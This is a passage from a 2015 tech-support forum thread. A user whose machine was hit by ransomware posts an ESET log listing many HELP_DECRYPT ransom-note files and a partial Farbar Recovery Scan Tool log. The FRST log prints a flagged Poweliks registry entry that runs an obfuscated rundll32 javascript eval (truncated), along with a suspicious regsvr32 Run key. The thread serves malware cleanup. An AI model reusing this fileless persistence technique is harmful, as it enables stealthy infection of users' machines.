D:\Hoyle Card Games 2011\environments\mansion\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\poker\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\poker\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\poker\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\poker\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\robotfactory\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\robotfactory\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\robotfactory\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\robotfactory\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\speakeasy\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\speakeasy\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\speakeasy\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\speakeasy\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\environments\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\FaceCreator\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\FaceCreator\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\a10\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\a10\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\astrojack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\astrojack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\backroomblackjack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\backroomblackjack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\beach\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\beach\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\blackjack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\blackjack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\blossom\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\blossom\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\bluePlate\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\bluePlate\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\bornWild\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\bornWild\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\couchPotato\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\couchPotato\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\crawdad\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\crawdad\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\easyMoney\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\easyMoney\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\fairie\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\fairie\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\hang10\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\hang10\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\inspector\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\inspector\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\jacksBack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\jacksBack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\jewelry\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\jewelry\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\lilCritters\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\lilCritters\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\ninjas\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\ninjas\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\special21\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\special21\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\textures\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\textures\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\unicorns\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\unicorns\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\wildCountry\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\wildCountry\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\wildParty\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\video_slot\wildParty\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Hoyle Card Games 2011\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ar.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ar.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ca.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ca.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\cs.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\cs.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\da.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\da.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\de.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\de.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\el.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\el.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\en.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\en.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\en_GB.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\en_GB.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\es.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\es.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\fi.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\fi.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\fr.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\fr.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\he.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\he.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\hr.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\hr.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\hu.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\hu.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\id.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\id.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\it.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\it.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ja.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ja.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ko.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ko.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ms.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ms.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\nb.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\nb.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\nl.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\nl.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\pl.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\pl.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\pt.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\pt.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\pt_PT.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\pt_PT.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ro.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ro.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ru.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\ru.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\sk.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\sk.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\sv.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\sv.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\th.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\th.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\tr.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\tr.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\uk.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\uk.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\vi.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\vi.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\zh_CN.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\zh_CN.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\zh_TW.lproj\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\zh_TW.lproj\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\iTunes.Resources\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\iTunes\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\iTunes\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Malwarebytes Anti-Malware\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Malwarebytes Anti-Malware\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\Big L\Adventures_Of_Big_L-(DatPiff.com)\Big L - Adventures Of Big L (DatPiff.com)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\Big L\Adventures_Of_Big_L-(DatPiff.com)\Big L - Adventures Of Big L (DatPiff.com)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\Big L\Adventures_Of_Big_L-(DatPiff.com)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\Big L\Adventures_Of_Big_L-(DatPiff.com)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\Big L\Big_L_Harlems_Finest_10_Years_Gone-(DatPiff.com)\Various Artists - Big L Harlems Finest 10 Years Go (DatPiff.com)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\Big L\Big_L_Harlems_Finest_10_Years_Gone-(DatPiff.com)\Various Artists - Big L Harlems Finest 10 Years Go (DatPiff.com)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\Big L\Big_L_Harlems_Finest_10_Years_Gone-(DatPiff.com)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\Big L\Big_L_Harlems_Finest_10_Years_Gone-(DatPiff.com)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\Big L\Harlems_Finest_The_Best_Of_Big_L-(DatPiff.com)\Various Artists - Harlems Finest The Best Of Big (DatPiff.com)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\Big L\Harlems_Finest_The_Best_Of_Big_L-(DatPiff.com)\Various Artists - Harlems Finest The Best Of Big (DatPiff.com)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\Big L\Harlems_Finest_The_Best_Of_Big_L-(DatPiff.com)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\Big L\Harlems_Finest_The_Best_Of_Big_L-(DatPiff.com)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\Big L\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\Big L\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\Live Era\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\Live Era\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\mos def mix\Disc_020208_6\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\mos def mix\Disc_020208_6\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\mos def mix\Mix\Disc_072808_1\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\mos def mix\Mix\Disc_072808_1\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\mos def mix\Mix\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\mos def mix\Mix\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\mos def mix\My CD\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\mos def mix\My CD\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\mos def mix\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\mos def mix\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\The Score\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\The Score\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Music\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Music\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\nes\languages\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\nes\languages\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\nes\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\nes\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Win7 64 drivers\WMP11v4_31224\Manual\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Win7 64 drivers\WMP11v4_31224\Manual\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Win7 64 drivers\WMP11v4_31224\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Win7 64 drivers\WMP11v4_31224\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Win7 64 drivers\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Win7 64 drivers\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\1.77 loader\Windows 7 Loader\Notes\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\1.77 loader\Windows 7 Loader\Notes\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\1.77 loader\Windows 7 Loader\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\1.77 loader\Windows 7 Loader\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\1.77 loader\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\1.77 loader\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Best crack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Best crack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\SLIC toolkit\SLIC_ToolKit_V3.2\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\SLIC toolkit\SLIC_ToolKit_V3.2\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\SLIC toolkit\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\SLIC toolkit\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Windows 7 crack\crack\Certificates\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Windows 7 crack\crack\Certificates\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Windows 7 crack\crack\Notes\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Windows 7 crack\crack\Notes\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Windows 7 crack\crack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Windows 7 crack\crack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Windows 7 crack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\Windows 7 crack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\Windows 7 crack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\Windows 7 crack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
E:\DECRYPT_INSTRUCTION.HTML Win32/Filecoder.CR trojan 
E:\DECRYPT_INSTRUCTION.TXT Win32/Filecoder.CR trojan 
E:\DECRYPT_INSTRUCTION.URL Win32/Filecoder.CR.Gen trojan 
E:\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
E:\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan


----------



## timmy12342 (Mar 7, 2015)

The eset scan log gets stuck at 66% every time. Tried about 4 times now. The file E:\HELP_DECRYPT.url is what it gets stuck on. If there is something i can do to delete that file and try again just let me know.


----------



## timmy12342 (Mar 7, 2015)

Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version: 11-03-2015
Ran by Tim (administrator) on TIM-PC on 12-03-2015 20:33:22
Running from C:\Users\Tim\Downloads
Loaded Profiles: Tim (Available profiles: Tim)
Platform: Microsoft Windows 7 Ultimate (X86) OS Language: English (United States)
Internet Explorer Version 8 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbamscheduler.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbamservice.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbam.exe
(Apple Inc.) D:\iTunes\iTunesHelper.exe
(Belkin) C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe
() C:\Program Files\Linksys\Wireless-B PCI Adapter\OdHost.exe
(The Linksys Group, Inc.) C:\Program Files\Linksys\Wireless-B PCI Adapter\WMP11CFG.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(ESET) C:\Program Files\ESET\ESET Online Scanner\OnlineScannerApp.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
() C:\Program Files\ESET\ESET Online Scanner\OnlineCmdLineScanner.exe
(Mozilla Corporation) C:\Program Files\Mozilla Firefox\firefox.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\fixmapi.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\regsvr32.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dplaysvr.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\wiaacmgr.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [iTunesHelper] => D:\iTunes\iTunesHelper.exe [152392 2014-01-20] (Apple Inc.)
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1022152 2014-12-19] (Adobe Systems Incorporated)
HKLM\...\Run: [FlashPlayerUpdate] => C:\Users\Tim\AppData\Local\Macromedia\Flash Player\FlashPlayerUpdateService.exe [224256 2015-03-12] ()
HKLM\...\RunServices: [Atheros Configuration Service] => C:\Windows\System32\acs.exe [36864 2005-05-05] ()
HKLM\...\Policies\Explorer: [TaskbarNoNotification] 1
HKLM\...\Policies\Explorer: [HideSCAHealth] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [JiglEduvj] => regsvr32.exe "C:\ProgramData\JiglEduvj\NereWheq.lnk"
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [TaskbarNoNotification] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [HideSCAHealth] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"ds8\..\mshtml,RunHTMLApplication ";eval("bgd7<[email protected])#VRbshqu/Ri (the data entry has 27906 more characters). <==== Poweliks!
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Belkin Wireless Utility.lnk
ShortcutTarget: Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Wireless-B Notebook Adapter Utility.lnk
ShortcutTarget: Wireless-B Notebook Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\Startup.exe ()

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=56626&homepage=http://www.google.com/
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://www.msn.com/?ocid=iehp
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> URL http://search.conduit.com/Results.aspx?ctid=CT3323878&octid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM=4&UP=SP15BE49DC-0845-49C5-BF5C-5190268C75F4&q={searchTerms}&SSPV=SE1CG2_sp_ie
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> {6119AD82-DA2F-4B34-BB9A-878B98DF03EF} URL = http://www.bing.com/search?q={searchTerms}
Tcpip\Parameters: [DhcpNameServer] 192.168.1.254

FireFox:
========
FF ProfilePath: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_16_0_0_305.dll [2015-03-03] ()
FF Plugin: @Apple.com/iTunes,version=1.0 -> D:\iTunes\Mozilla Plugins\npitunes.dll [2013-12-18] ()
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-12-03] (Adobe Systems Inc.)

Chrome: 
=======
CHR Profile: C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (No Name) - C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\hbimodhljhimhoodfcelccoebafophdn [2014-04-21]

========================== Services (Whitelisted) =================

